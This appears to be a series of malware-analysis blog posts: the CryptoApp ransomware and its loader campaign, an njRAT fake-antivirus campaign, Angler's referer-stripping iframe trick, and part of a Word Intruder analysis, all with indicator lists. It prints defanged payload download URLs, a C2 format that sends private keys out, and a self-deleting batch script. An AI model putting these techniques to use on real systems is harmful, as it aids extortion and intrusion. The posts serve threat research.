a7175de9d14b29df0beb653982512e9cc0241ecf53ae91135dbae852724a284a

2c277f6d5f060192a73e2b918d7c210a876cb11d064fdab1f483947df4d1156f

5b7d7c79786b0461dfd0f6ac144ab03374ee5608062d547f21e3b4c2eb13f50f

01a4e7e0297923a40d85b931c4715ddd0fc9b3881de12c4affcaa7595a95407f

1cfc14b9532e12a7cc02874d655796dbed6eff5c774b37670ec16b185efe72af

The following domains and IP addresses were seen for those samples:

IP Address Domain 146.185.239.110        evcash.net 146.185.239.110        softrango.com 146.185.239.111        ltsectur2.com 146.185.239.111        ltsectur9.com 146.185.239.111        fscurat20.com 146.185.239.111        fscurat21.com 146.185.239.112        fastprodst5.com 146.185.239.112        fflord25.com 146.185.239.112        fflord30.com 146.185.239.112        giron32.com 146.185.239.112        glorius11.com 146.185.239.112        golus27.com 146.185.239.112        gshsol4.com 146.185.239.112        holipolks12.com 146.185.239.112        scara123.com 146.185.239.112        scara124.com 146.185.239.112        smart-filins.com 146.185.239.112        srut12.com 146.185.239.112        srut19.com 146.185.239.113        gskskkksa4.com 146.185.239.113        jarr62737.com 146.185.239.114        gislat2for8.com 146.185.239.114        gislat4se2.com 146.185.239.114        gladi-toriusa.com 146.185.239.114        holisak-tasek.com 146.185.239.114        hysotasl.com 146.185.239.114        kaaalosa-set.com 146.185.239.114        shatiko-mero.com 146.185.239.114        svars-sta.com 146.185.239.114        tauruk-felon.com 146.185.239.114        trader562.com 146.185.239.114        veret-sapan.com 146.185.239.114        vertus-adusa.com 146.185.239.114        vesm-arast.com 146.185.239.114        zemo-numeros.com 146.185.239.114        zumo-afetuk.com 146.185.239.114        zumo-alibabs.com 146.185.239.114        zumo-archib.com 146.185.239.114        tauruk-felon.com 146.185.239.248        gelun-posak.com 146.185.239.248        fulo-centums.com 62.122.74.111        golen-mortales.com

[0x3a]

Development of the ‘CryptoApp’ ransomware finished; changes & active campaign

Not even a day ago I blogged on a piece of ransomware named 'CryptoApp' which I discovered while it was still in its development & testing phase: [Analysis of a piece of ransomware in development: the story of ‘CryptoApp’]. After publication I was contacted by another analyst who was able to link the information from my blog to other samples from an actual campaign. He matched both PDB paths as wel as behaviour to these samples, this blog describes the changed made to CryptoApp as well as the active campaign. A thank you to the researcher who contacted me sharing information, you know who you are. I suggest reading my previous article on the discovery and full analysis of CryptoApp for the following to make any sense to you as its just a brief analysis and comparison. You can read the article here: [Analysis of a piece of ransomware in development: the story of ‘CryptoApp’]

Analysis of the loader

The lure for this campaign originated from Western Union spam messages leading to a download of a payload from:

http://www[.]pikaitalia[.]it/catalogoonline/pages/transaction_certif_2412_installer[.]exe

The file [transaction_certif_2412_installer.exe] has an interesting build date. (Again, this can be faked of course.) The date is the 12th of May, the same date as the original development version of CryptoApp was uploaded on Malwr.com: Inside the sample we find another interesting PDB path explaining its purpose (sort of):

D:\projects\Finished - Downloader - edited by me\CoreDownloader\Release\CoreDownloader.pdb

The loader is written by the same guy(s) as the ransomware, both coding style and way of setting this up is the same. The loader works quite simple:

Setup an event and mutex both with the name 'coredownloader.mutex.02022015'

Set the event and close handles to both

Create a new registry key called 'Downloader' under 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' and fill it with the current path of the downloader (most likely in case of interuption of the download)

Start a thread with code to download the payload

Download Thread - The payload download location is set to the result of calling [GetSystemDirectory()] which returns the system directory in my case 'C:\Windows\System32\'

Download Thread - The filename to name the downloaded payload is set by using the [GetModuleFileName] function (in my case scrsss.exe)

After the download was successful it will remove the registry key added earlier

It will proceed by removing itself (the downloader) from disc using a bat script called 'uninstall.bat' which is written to disk. It simply tries to remove the original downloader, its content (in my case):

:Repeat if exist "C:\Users\Bobby\AppData\Local\Temp\loader.exe" ( del "C:\Users\Bobby\AppData\Local\Temp\loader.exe") if exist "C:\Users\Bobby\AppData\Local\Temp\loader.exe" goto Repeat del "C:\Users\Bobby\AppData\Local\Temp\config.ini" del "uninstall.bat";

After removing itself via the bat script it will proceed to execute the downloaded payload by calling [ShellExecuteEx()]

The payload was downloaded from either one of the following locations:

http://weddingclip[.]ru/media/csrsss[.]exe

http://61[.]219[.]82[.]98/tmp/csrsss[.]exe

http://petersauto[.]pl/media/csrsss[.]exe

http://stonewallphoenix[.]com/media/csrsss[.]exe

http://www[.]polistav[.]sk/media/csrsss[.]exe

Changes in CryptoApp

The initial sample that was being downloaded was still the same (old) CryptoApp; the one without the red lock screen. With this campaign however a related sample was also found with the hash f6884ad8c02372c660849e1ccea8dc19. This one contained some interesting changes from the first few samples (including the one from this campaign). Most notibly the lock screen placed on the infectee desktop background was modified and contains no mention of the Tor hidden service anymore. The message is also a bit more aggresive in a way: The HTML file shown to the user has also been modified a bit, mentions of the Tor hidden service was removed as well while having some added red text at the top: Besides these changes I didn't find any major other changes. I confirmed the following items to still function the same as the older versions described in my previous detailed blog article:

Filetypes for encryption

Method of file encryption (including the file tag/marker of 0x2200AF)

File decryption

C2 communication protocol

The two things that changed together with the lock screens is the price. Current method of unlocking is by paying 2 instead of 1 Bitcoin. The Bitcoin address was also changed to 1HJdRLVffmFC5ooLAZHgAkXKvziisYDrqX. I checked this address and luckily and found that it has had 0 transactions till now; no money for the criminals.

Samples & IOCs

I've gathered the following unique samples:

Loader: MD5 - b379f16960b33740ac02d6fd58a1813c552620ce - [Malwr.com] [VT 32/56]

CryptoApp sample downloaded by the loader: MD5 - 677ec7f735be831256762920e1876443 - [Malwr.com] [VT 27/57]

Related CryptoApp sample (with changes): MD5 - f6884ad8c02372c660849e1ccea8dc19 - [Malwr.com] [VT 42/57]

The following domains and IPs were seen for the loader and CryptoApp itself:

weddingclip.ru (Seen from loader)

61.219.82.98 (Seen from loader)

petersauto.pl (Seen from loader)

stonewallphoenix.com (Seen from loader)

polistav.sk (Seen from loader)

gvgtransportation.com (Seen from CryptoApp)

[0x3a]

Analysis of a piece of ransomware in development: the story of ‘CryptoApp’

Ransomware sure has had an uptick the past years; more and more variants appear while some have been leading the pack for the past years. This article is on a new 'strain', it dates to March this year from what I can tell. I haven't seen any write-up or info about it yet (nor had any major incidents at $dayjob or heard of it from any other analysts). From what I can tell its still under development, this article will tell the story of this ransomware.

Discovery

I was going through some Tor hidden service addresses (onion addresses) I obtained by scraping. Normally there are a lot of markets and random 'hacker-for-hire' sites but this one stood out. Its address (as of writing this article) is:

guhvuoz7am24b5mv.onion

Note: The service did go down at the start of August. It could be that the 'project' was stopped or that the other simply moved to a new C2 to start his operation; with the old one being a test setup.

When visiting the hidden service I was greeted with the following: This message looked like the kind seen with Ransomware like CryptoWall etc. It got my attention because it talks about files being cripted with RSA-2048 which is really similar to the CryptoWall message. After payment of the ransom files would be restored. Scrolling down we get section 2: This section says there are no ways to decrypt the file without the original key (makes sense if you use RSA on 2048). It also notes using any other tools than theirs would only make it worse. After this message we find section 3:

Analysis of the malware itself

Finding a sample was actually quite easy, it was uploaded to Malwr.com in May this year: [csrsss.exe]. The reason I was able to find it was due to the fact that the Bitcoin address was in the binary itself (as a text string): If you look at the rest of the text it actually matches the matches on the C2 but we'll look at that later. Lets grab the sample and just look at some of the info in the PE file. One thing that immediately jumps out is that this thing is written in C++ with lots of inheritance (base classes), a lot of vftable lookups make a bit painful to look at in OllyDBG. Another thing jumping out is the bulid timestamp; it seems to be the same date as the Malwr.com submission (of course this can be faked): What is more interesting are the resources in the PE, it seems it hasn't been packed in any way and the resources are available plain: There's 2 that sort of jump out, 'BIN' and 'HTML', BIN actually contains two PE's: The HTML resource (which matched the Bitcoin address we searched for) is in fact a ransom message that is dropped on the victim's PC: There are also a ton of dialogs in the PE, some of which look like a ransomware pop-up normally seen with this type of malware: The last one looks like a classic ransomware pop-up you would/could see after being hit by it. When going through the payloads I also noticed every bin had its linker information (with PDB path) in tact which gave me the following PDB paths:

C:\Users\windows\Desktop\CryptoApp\build\bin\Release\CryptoApp.pdb

C:\Users\windows\Desktop\CryptoApp\build\bin\Release\KeepAlive.pdb

C:\Users\windows\Desktop\CryptoApp\build\bin\Release\SelfDestroy.pdb

These PDB paths are the reason I've called it the 'CryptoApp' ransomware of course.

Startup & Persistence

The main 'CryptoApp.pdb' comes from the intiail sample grabbed from Malwr, the other two come from the two embedded PE's. Their function is pretty much what they have been named. 'KeepAlive' creates startup keys for windows (although it doesn't even bother copying the payload anywhere, just from the directory it was ran from): What is interesting to note is the 'CryptoAppDelay' key is constantly updated, it keeps going up every refresh. Lets look up the part of the code that is responsible for this, we find it here: This part can be split up in three sections (marked with red blocks), the first section checks for the presence of the 'CryptoAppForcedEnded' key to be present (indicated with the green lines). If this key is not present it moves onto the next section in which it spawns a thread, waits for it to finish. After the thread is finished the code continues into section 3 where it changes the value of the 'CryptoAppDelay' key. While this part is not super interesting the newly created thread is, its a sort of watchdog. The idea behind this thread is that it waits for the 'delay' to reach a certain number after which it will execute the rest of the code. The thread code looks like this: First it obtains a handle for the SOFTWARE\Microsoft\Windows\CurrentVersion\Run key to be able to query values under it (the 'CryptoAppDelay' value that is). After that it sets up some variables and jumps into a loop (indicated with the green box). The loop is where 'the magic happens'; it checks the value of 'CryptoAppDelay' and compares it to a number while the assembly isn't super clear to read it basically does the following:

Take the value of the 'CryptoAppDelay' key, divide by 1000 and compare if its surpased 86400

The reason for this is as follows, if it doesn't hit this number the 'CryptoAppDelay' value is set to the value returned from 'CurrenTickCount()' which is a Windows function that returns the amount of milliseconds that have passed since the machine booted. Dividing that by 1000 gets you the seconds, 86400 is in fact 24 hours; the ransomware waits untill the machine has been on for 24 hours before doing anything.

Whenever the ransomware runs it spawns the embedded PEs which are used for things like persistence. An example is 'keepalive' which you will find running when you get infected: Here the 'keepalive.exe' is dumped in the Temp directory (marked by the green box) and the actual ransomware process 'csrss.exe' still sleeping waiting for the uptime to hit 24 hours (marked by the red box). Trying to kill the ransomware process doesn't do much, its beeing kept alive by the keepalive payload, lets see how that works. Looking at the arguments given to the keepalive PE we can get a good idea already of how it works: It is given an image path (of the ransomware itself) and the PID of the currently running ransomware process. Looking at the disassembly from the 'keepalive.exe' PE we find the arguments are indeed used to 'protect' the main ransomware process. The way its 'preventing' the main ransomware from being stopped is that it just starts it over and over again. It works like this:

Get a handle for the process to watch

Call the Windows function WaitForMulipleObjects and halt on the process handle

When it returns (and its related to quitting) restart the ransomware process and shutdown self (keepalive just exits after restarting the ransomware's main program)

Ransomware process starts a new keepalive which starts the same thing again (watchdog thread)

The ransomware process itself can be restarted, its just counting the system uptime (with the registry keys described before).

File encryption

The ransomware will encrypt files with the following file extensions, 162 file extensions in total:

.3fr .3gp .7z .accdb .ai .arc .arw .avi .bad .bay .bmp .cam .cdr .cer .cineon .cr2 .crt .crw .csv .ctl .dat .db .dbf .dcr .der .des .dicom .dng .doc .docm .docx .dsc .dwg .dxf .dxg .eps .erf .fla .flv .fmb .fmt .fmx .gif .hdr .html .iif .img .indd .jpe .jpeg .jpg .kdc .log .lst .m4v .mdb .mdf .mef .mov .mpeg .mrw .nd .nef .nrw .odb .odm .odp .ods .odt .openexr .ora .orf .p12 .p7b .p7c .pbm .pck .pdd .pdf .pef .pem .pfx .pgm .pic .pkb .pks .plb .pls .png .pot .ppm .pps .ppt .pptm .pptx .prn .psb .psd .pst .ptx .qba.tlg .qbm .qbr .qbw .qbw.tlg .qbx .qby .qfx .r3d .raf .rar .raw .rdf .rdo .rep .rex .rtf .rw2 .rwl .sql .srf .srw .sti .sxi .tiff .txt .vdi .wb2 .wpd .wps .xbm .xlk .xls .xlsb .xlsm .xlsx .xml .yaml .zip .php .css .asp .cpp .c .js .pl .perl .swf .aspx .potx .potm .ppam .ppsx .ppsm .sldx .sldm .thmx .xlam .xltm .dotm .dotx

Most of the filetypes here aren't that surprising, image format, text document formats, presentation formats. The ones that I do find interesting are file extensions for files related to accounting, specifically to the QuickBooks accounting software (.qba .tlg .qbm .qbr .qbw .qbw .tlg .qbx .qby .qfx) to target companies. To find files it attempts to access all available logical drives, it uses a call to [GetLogicalDrives()] to map with the following list of drive letters (basically every possible driver letter, the whole alphabet):

A: B: C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:

To keep track of the files it encrypted the ransomware stores this information in a sqlite database on disc.

The ransomware makes use of the Microsoft CryptoAPI, specifically it uses the RSA crypto provider: After setting up the Crypto provider and generating a private/public key pair it starts going through the files, the method it follows for encryption is the 'Hybrid cryptosystem'. In this system you don't encrypt the files using the private key but you create symmetric keys (I call them 'file' keys below) for data encryption. These keys are encrypted using the private key after use. This means decryption of the file needs the private key to get the 'file' key decrypted which in turn can decrypt the file data. It searches for them based on the available logic drives shown above matching files based on the described file extensions. When a file is 'valid' for encryption it will start encryption which works as follows:

It will grab the full filename and append .encrypted to it as the new file extension

A 'file' key (MSDN will refer to it as s session key) is generated by calling [CryptGenKey()] using the previously initialized Cryptographic provider and using PROV_RSA_FULL

A file handle is openend to the newly created filename (the .encrypted one)

4 bytes are written into the open file (an int) with the 'magic value' of 0x2200AF which is a kind of marker/tag for the encrypted files

After the 4 bytes an export of the 'file' key (key used to encrypt/decrypt the file data, encrypted of course, can be decrypted by using the private key from the pub/priv key part in use) is written using [CryptExportKey()] with the SIMPLEBLOB blob type for export

After writing the 'file' key to the file the original (unencrypted) file is being read, encrypted and appended to the .encrypted file

After the file is encrypted on disc it is inserted into the SQLite database on disc (used to list the user his/her encrypted files as well as for the decrypter to find the files again)

After successfuly inserting the encrypted file into the SQLite database it is removed from disc by calling the [DeleteFile()] function.

The private / public key pair it send to the C2 server as well, see the 'C2 communciation' section below for details on this. As a sidenote; throughout the encryption process the ransomware keeps states in registry indicating its current state of encrypting, how many files, etc.

The Decrypter

On the website there's a link to the Decrypter which is quite interesting. Besides it being a 'decrypter' for any infection from the original malware it is actually both. The decrypter is in fact a slightly modified version of the main malware itself. It does however show something interesting, the sample I managed to grab from Malwr.com is an outdated version of the ransomware. Besides some clean-up and slightly changed functions it also has some added functions. One of these functions is the one to display this image: It is dropped in the temp directory as 'wlp.jpg' and set as a system background; we can see this behaviour in the disassembly: Besides the lock message there is also a new dialog in the decrypter (together with the one from the ransomware itself) for the decryption process: The dropped ransome messages in the form of a HTML page we saw in the previous sample has also been updated. It now includes the links to the Tor hidden service also seen on the red image: This all gives the indication the samples I grabbed from Malwr.com is rather old. The decrypter itself checks against the Blockchain.info website to see if the user did pay. We can see clear usage of it in the decrypter's dissasembly: It parses transaction counts and matches up the Bitcoin address from blockchain.info as well, the transaction parsing as an example: The way payments are confirmed works as follows:

The user pays the set amount of Bitcoins to the specified Bitcoin address 1AbwLtv7JTtbLmj8LrGq7TzCdkD4ZNET5C

The user pastes his own Bitcoin address in the payment form of the Ransomware

The decrypter checks if this Bitcoin address made a payment to the specified Bitcoin address after the infection date (this is stored in the registry as well) to confirm the payment being related to the infection.

If the user paid it will talk to the C2 to obtain key information

The Bitcoin address listed on the site for payment '1AbwLtv7JTtbLmj8LrGq7TzCdkD4ZNET5C' has only had one payment ever on the 15th of May for 1 Bitcoin; the exact ransom demand. The payment was send only 2 days after the first development version of the ransomware was uploaded to Malwr.com which makes it look like a test for the Decrypter part of the ransomware.

File decryption

When the decrypter has confirmed that the user has paid the required ransom amount the private key is obtained from the C2 server (how this is done is explained in the C2 communciation section below). With this private key it will go through the steps of decrypting the user's files:

Find the local SQLite database which lists all the encrypted files

It will grab the file and change its file extension from .encrypted to .encrypted.decrypted

It will confirm the first 4 bytes of the file having the magic marker / tag of 0x2200AF, if it doesn't it will ignore the file

It will grab the next section from the file which contains the 'file' or 'session' key

Using this key and the private key it will start decrypting the file

This process continues for every file until they have all been decrypted.

C2 Communication

While the hidden service shows the 'scary' message about the needed ransom payment there is no C2 communication traffic to this host. The real communication goes towards a host outside of Tor. Interestingly this host went down the same time the hidden service went down which could indicate them being hosted on the same system; although I have no proof for this of course. The communication for the ransomware itself is HTTP only towards a centralized C2 server while the decrypter has communication towards both the centralized C2 server over HTTP as well as SSL traffic towards blockchain.info.

Ransomware C2 communciation

The ransomware itself communicates towards a static domain: cryptorepairsystems.com (at the time pointing to a host in Bosnia and Herzegovina at 80.242.123.197) on plain HTTP. There are two communication paths:

cryptorepairsystems.com/ksubmit.php - Used to send the key used for file encryption to

cryptorepairsystems.com/kretrieve.php - Used by the decrypter to retrieve the crypto key from to decrypt the encrypted files

The communication to /ksubmit.php is simple HTTP POST communication. A specific header is hardcoded for this communication: "Content-Type: application/x-www-form-urlencoded" which enforces the server to inspect it as urlencoded form data. The form data has the following format:

bitcoin_address=%s&empid=%s&comp=%s&ipv4=%s&blkk=%s&publ=%s&priv=%s

The specific parameters are:

bitcoin_address - Payment address for the ransom

empid - Unique ID for the system

comp - Computer name obtained by calling [GetComputerName()]

ipv4 - IPV4 address for the infected client

blkk - Empty hardcoded value (unsure of the real purpose)

publ - Public key of the RSA key set used for the file encryption

priv - Private key of the RSA key set used for the file encryption

Decrypter C2 communciation

As said in the previous section, the communication to /kretrieve.php is specific to the Decrypter. Its communication protocol is also just plain HTTP POST communication. A specific header is hardcoded for this communication as well, its the same as for the ransomware check-in: "Content-Type: application/x-www-form-urlencoded". The form data has the following format:

empid=%s&comp=%s&ipv4=%s

The specific parameters are:

empid - Unique ID for the system

comp - Computer name obtained by calling [GetComputerName()]

ipv4 - IPV4 address for the infected client

Conclusions: Unfinished, not spread around

From what I can see this piece of Ransomware is in development and not finished. Some things seem to work just fine others seem to be a bit broken / unstable. I don't have any leads on who is behind it or if there are more C2s. Comparing it to other ransomware threats like CryptoWall its quite amateuristic and simple, but then again its quite hard to compare. Without knowing anything about the backend (it could be spinning up C2 onion addresses per affiliate if it has an affiliate system (it doesnt look like it but who knows) and actors I can't tell much about it from a 'size' perspective. Besides what I said above the thing is also very flawwed, I will not go into details on my blog but file recovery would have been possible in a lot of different ways. Sadly the C2 went down, I'll be keeping my eyes open to see if and when a new one pops up :) Note: If you go through the sample yourself it might look as if I've skimmed / skipped over some details. I only included details that mattered to the story to get a good image of how this thing works.

Samples & IOCs

I have only found 2 samples, one is the old development built I discovered on Malwr.com and the Decrypter from the Tor hidden service C2. The decrypter wasn't public yet before I posted it on Malwr.com. Here are the samples downloadable from Malwr.com and VirusTotal:

Old development sample - [Malwr][VT: 36/56]

Decrypter sample - [Malwr][VT 21/54]

I have seen the following domains associated with it (besides the SSL traffic to blockhain.info for the decrypter):

guhvuoz7am24b5mv.onion (and its Tor web proxy variants of course)

cryptorepairsystems.com (originally pointed to 80.242.123.197)

[0x3a]

Unusual njRat campaign originating from Saudi Arabia using FakeAV tactics

While investigating an unrelated threat I ran into a rather interesting njRat campaign.

It started with a website that was compromised and being abused as a 3rd layer C2 communication proxy. It seems those guys weren’t the only ones using it. When visiting the websites’ main page I was greeted with an alert pop-up:

Looking at the page title and message content I was expecting some kind of fake support or fake antivirus page; I was correct (for this part):

Waiting the result of the scan I was prompted by the usual ‘you need help click here’ messages:

When clicking one of the buttons (or the X close button, basically anything on the page) your browser was presented with a download of 'Antivirus 2015’:

Analysis

When running the 'Antivirus 2015’ payload the user is presented with a popup:

The message (although in broken english) tells us we’re clear of any infections. If we check the startup entries via msconfig we can see something new was added running from our %temp% directory:

We can see its there to stay, implementing persistance using startup keys a (very) old trick. While you might think the popup is due to the virtual machine setup or debugger being detected it actually isn’t. The 'Antivirus 2015’ payload is in fact a stage 1 dropper of something more interesting, the payload in the %temp% directory is a stage2 dropper with embedded stage 3. If you throw the 'Antivirus 2015’, stage 1, payload in a decompiler you will see its a small obfuscated loader written in C#. Its most important function shown here:

The 'main’ function of this loader does the following:

Display the popup with the message

Make sure the application (and its icon) aren’t shown in the taskbar

Decode a string of text (under Label_004D) which contains a link to a pastebin post

Download whatever is at this pastebin link

Use the content of the pastebin post as another URL and download data from it

The data obtained from the link inside the pastebin post is written to ’%temp%/notepad.exe’

Execute the ’%temp%/notepad.exe’ payload

The content of the pastebin post is a link to a file on ge.tt which is another PE file:

This payload is stage 2 of our infection and seems to be another loader in fact. If you decompile this one you will find its another C# written loader with similar 'obfuscation’ techniques for the main program flow:

The thing is that instead of downloading another payload it in fact has an embedded Windows PE. The flow of this loader is:

Hide itself from the taskbar

Reverse and base64 decode an embedded text string (The expression variable under Label_003C starting with a lot of A’s)

Take this buffer and feed it to a function called ’ss’

The ’ss’ function is a classic way of executing a PE file from within C# code:

If we take out the 3rd layer of this attack (the embedded PE inside stage 2) we find its another C# application. This time it doesn’t hold anything like we’ve seen with the other loaders, its actually a (semi) large program with lots of functionality. Its structure and implemented functions made me think of a RAT. After running it in a sandbox with inetsim enabled to catch DNS requests and send them to a fake server I had a positive hit for njRAT. The traffic showed the classic njRAT checkin pattern:

We can even confirm it by using the config decoder made by Kevin, you can get it here: RATDecoders / njRat.py The output from the tool tells us enough, its njRAT for sure:

We can triple confirm it if we grab the startup entries we saw earlier and compare them to the configuration:

C2 origin

From the config we can see the C2 DNS it will resolve is ’supportoffice.likescandy.com’. This currently resolves to 188.55.84.43 which is an IP located in the consumer ADSL range in Saudi Arabia:

If we follow this C2 domain we can find a related sample on VirusTotal from 2014-10-15, a bit more than 7 months ago jpck22sj.exe. It connects to the following two C2 domains:

supportoffice.likescandy.com (188.51.198.199)

svchost.homelinux.com (188.51.198.199)

This IP is also located in a Saudi Arabia consumer ADSL IP pool:

If we follow this rabit hole further down we find another sample submitted a week after the previous one on 2014-10-22 By Hat_Mast3r.exe. With this sample the IPs had already been changed, ’supportoffice.likescandy.com’ was pointing to an IP in Iraq 37.238.165.11:

While ’svchost.homelinux.com’, a secondary backup domain, pointed to again an IP in a Saudi Arabia consumer IP pool:

Conclusion

This campaign seems to be old but still running (although my infection wasn’t being manually controlled at the time). The first sample found was submitted 7 months ago. The operation seems to originate from Saudi Arabia mostly; seeing its C2 IP is a home IP address and njRat does not support proxying C2 communciations over infectees. It means this was most likely the actual operator. I have no clue on the exact targets; the website I found was a Dutch website for a hobby group not a really high-ranked target. The spreading method of a fake antivirus website was also quite confusing, normally I see these things dropping FakeAV’s as I’ve written on in the past. Overal an unusual but interesting campaign to keep an eye on, at least I will ;)

IOCs and Samples

I’ve gathered the following DNS entries being resolved related to infections of this campaign:

supportoffice.likescandy.com

svchost.homelinux.com

The following IP addresses were seen as being used for C2 communication:

37.238.165.11

90.148.243.180

188.51.198.199

188.55.84.43

I’ve gathered the following samples:

Stage 1 downloaded from the fake antivirus warning website: f67369ff8f2e78a09f5fe80a4ca58dadfda766a24775afcf0c793b47ca124cba

Stage 2 downloaded via the stage 1 loader: 80e364d140162049f05cbb5bed17ad7348d2f9aff37d2281f83706c4af66be09

Encoded stage 3 (not present on disc due to it being embedded) eac07d10a5cc52c26b72bb43f2ffa30e6e8da7c2bb18c0786d756755ec99e832

Related sample from 7 months agoc50d60fced994896e0b2ad11cac798f9d10db4019fa08c977a2cf4042e6ab798

[0x3a]

Angler exploit kit using tricks to avoid referrer chain leading back to malvertisement provider

For some time I’ve been seeing the Angler exploit kit pop up and infect clients without through malvertising campaigns without having a referer when visitng the landing page. The reason why this is interesting is that it makes it a lot harder to track down the malicious creative IDs which can be disabled by the advertisement operator. This is key in trying to fight active malvertising campaigns. In this short article I’ll go through the current setup the Angler exploit kit uses to avoid the referer chain by losing it in a 2 step system.

Initial infection chain for Angler

We see an advertiser 'hrd-marketing[.]com' being used and a JavaScript file being requested. A bit after the advertiser related request(s) there is a post to an odd looking HTML file: This POST request does not contain any referer. In the response of the server we see a meta refresh snippet in a fake 404 page. There is a 200 OK response but a piece of text saying 'Page not found' in the body. If we look for this specific URL in the rest of the Fiddler session we a request going towards it: Interestingly again no referer, it seems the Angler guys are pulling some tricks to break the referer chain, lets have a look.

Analysis

If you look at the actual referers you find there are none on either the redirector or landing. Let's first look at the advertiser, for this I already took the trouble to filter out the others and pinpointed this one serving the Angler redirect. The reason I did this was to spare 2/3 of a blog about tracking this one down in the insane amount of advertiser chains this one appeared in. For those wondering, the initial site was an adult content website for videos. Lets start at the advertiser JavaScript, the advertiser gives the following blob back of which the second part (after the newline) is of interest to us. The top part is the real advertisement: If we take it out and beautify it a bit we get the following:

The script is heavily obfuscated, especially the part of the target URL for the POST request. If you clean it up you end up with this (note: I removed the target URL from the pastebin post to not get it flagged):

So how does their trick work? its actually quite simple but a bug in modern web browser in my opinion. On the page it first adds a new DIV. Inside this DIV it puts an iframe which does not have a 'src' attribute meaning it is not loading anything from a remote site. However most browsers see the context/body of the iframe (and normally the page it loads based on the 'src' attribute) as a seperate page with its own context; this is pretty much how the Angler referer-less request(s) trick works. In the next step they generate a form with a hidden input (with some unique tokens, not sure what they do but they might mean something for them on their backend). This form is put in the body of the iframe context after which they submit the form. When they submit the form they are sending it from within the iframe context which does not have an actual page loaded which causes the request coming from it to not have a referer; quite a nasty trick. The small piece of script I created can be used to request pages without referers in the latest versions of Chrome, Firefox and Internet Explorer as of the 7th of May 2015. See it as a POC. The next step is why is the landing being requests without a referer. Here's how the landing page request looks in Wireshark: This one is slightly harder to explain and I don't have 100% certainty but I assume this is how browsers are processing it: When a browser performs a POST request as seen here the response is (in most cases) some external resource being loaded in the page. In the case of the redirector we see the response is HTML which contains a meta refresh tag which changed the page location to the specified URL. My guess is that the browser follows the refresh but due to a bug doesn't follow it with a referer. The thing is however, I only got a POC of this to work on Internet Explorer but could not reproduce it on Chrome or Firefox. And there we go, two tricks (of which one works on all browsers) to lose referers and frustrate automated systems and researchers like me. It is interesting knowing the Angler history that they come up with these kind of tricks; it certainly helps their malvertising campaign lifetime.

Following the RFC

If we look at the RFC it actually specifies that unless a user manually enters a URL it should always make a referer chain except when coming from an SSL connection:

The Referer[sic] request-header field allows the client to specify, for the server's benefit, the address (URI) of the resource from which the Request-URI was obtained (the "referrer", although the header field is misspelled.) The Referer request-header allows a server to generate lists of back-links to resources for interest, logging, optimized caching, etc. It also allows obsolete or mistyped links to be traced for maintenance. The Referer field MUST NOT be sent if the Request-URI was obtained from a source that does not have its own URI, such as input from the user keyboard.

You can read it here: http://tools.ietf.org/html/rfc2616#section-14.36 Following the RFC it would appear this referer trick is actually a bug in the browsers. In a discussion on this subject with the Google Chrome developers (read it [here] they linked me to the following RFC: W3C Referrer Policy in which the concept of 'Nested Browsing Contexts' is described:

Certain elements (for example, iframe elements) can instantiate further browsing contexts. These are called nested browsing contexts. If a browsing context P has a Document D with an element E that nests another browsing context C inside it, then C is said to be nested through D, and E is said to be the browsing context container of C. If the browsing context container element E is in the Document D, then P is said to be the parent browsing context of C and C is said to be a child browsing context of P. Otherwise, the nested browsing context C has no parent browsing context.

A browsing context A is said to be an ancestor of a browsing context B if there exists a browsing context A' that is a child browsing context of A and that is itself an ancestor of B, or if the browsing context A is the parent browsing context of B.

You can interpret the above text as follows:

You have a website in which you embed an iframe pointing to an HTTP website, call this iframe'd website example-iframe.com

From your initial website you embed a form in the body context of the iframe so in the example-iframe.com website context.

You submit this form which will happen inside the context of example-iframe.com

What you would expect is:

The iframe towards example-iframe.com will have your initial website in its referer

The form submitted from example-iframe.com will have example-iframe.com in its referer

The fact that an iframe without a "src" attribute doesn't have any website context is understandable, especially from a programmer side of view. The issue here is that I'd expect a src-less iframe to be a sort of 'local' frame (as it doesn't load external content). Any request coming from it would have the initial website creating the src-less iframe as the 'parent' and thus the referer.

I'm currently awaiting a reply from the developers, the same bug is also present in Firefox and Internet Explorer. I feel a small rewrite on this special case is in order; it currently works as intended but not as expected.

[0x3a]

Analysis of a MICROSOFT WORD INTRUDER sample: execution, check-in and payload delivery

Edit 27-5-2015: I added a download link to the memory dump of the machine I used in this article for others to learn from and play around with volatility. On April 1st FireEye released a report on "MWI" and "MWISTAT" which is a sort of exploit kit for Word Documents if you will: A New Word Document Exploit Kit

In the article FireEye goes over MWI which is the short for "Microsoft Word Intruder' coded by an actor going by the handle 'Objekt'. MWI is a 'kit' for people to use for spreading malware. It can generate malicious word document exploiting any of the following CVE's:

CVE-2010-3333

CVE-2012-0158

CVE-2013-3906

CVE-2014-1761

The builder, named MWI, generates these documents which call back to a server to download malicious payloads. Together with the MWI builder the author has also released MWISTAT; a statistics backend and optional downloader component for MWI documents to track campaigns and spread of the documents.

In this article my analysis focusses on the following sample: OZLA155_C0E6C24A_X234_investigate.doc (MD5: c0f7fd333131ceca4292419e207f83fc) VirusTotal & Malwr (Downloadable).

If you would like to do the same analysis just grab the sample from Malwr which has been made downloadable. More downloable samples have been listed at the end of this blog entry; check out those if you want to do some more MWI sample analysis.

Analyzing an MWI generated document

I will start my analysis by looking at VirusTotal, looking at the hits we are told it is CVE2012-0158, CVE-2012-2539, CVE-2013-3906 and CVE-2014-1761. Besides a mismatch on the list presented by FireEye it looks like we have a multi-exploit document. Another security researcher named @ropchain responded to a tweet I send about the multi-CVE identifier from VT with a good clue: [

](https://twitter.com/ropchain/status/584036788550967296)

It seems embedding multiple vulnerabilities for RTF's is possible. Let's open the document and see what kind of document we are dealing with (OLE or RTF), opening up the document shows the following first line:

RTF it is, the brackets { and } define a group in the RTF file format, these groups can be nested within each other. A backslash \ is followed by a so called 'control code', in our case the document starts with a group indicator bracket and the RTF control code '\rtf'. This control code indicates the start of an RTF file, the number behind it indicates the specification this RTF file will follow.

Now that we know we have an RTF document we can start working out how it performs communication and loads the malicious payload on the affected machine.

MWISTAT communication

The MWI samples communicate to a backend called MWISTAT. This backend makes statistics of those who open the malicious documents as well as give the required payload based on a certain identifier when an exploit is succesful.

The statistics check-in looks like this in Wireshark:

The server responds with a 1x1 white JPEG image. Nothing interesting happens from this for the rest. The second step after doing the statistic check-in and succesfully exploiting the user's Microsoft Word installation is downloading a payload. This request looks similar only an extra GET parameter is added named '&act=1'. The server responds to this request (if it is correct in terms of identifier) with a plain Windows PE, no encryption is used anywhere here as seen in Wireshark:

MWISTAT communication: Statistics check-in

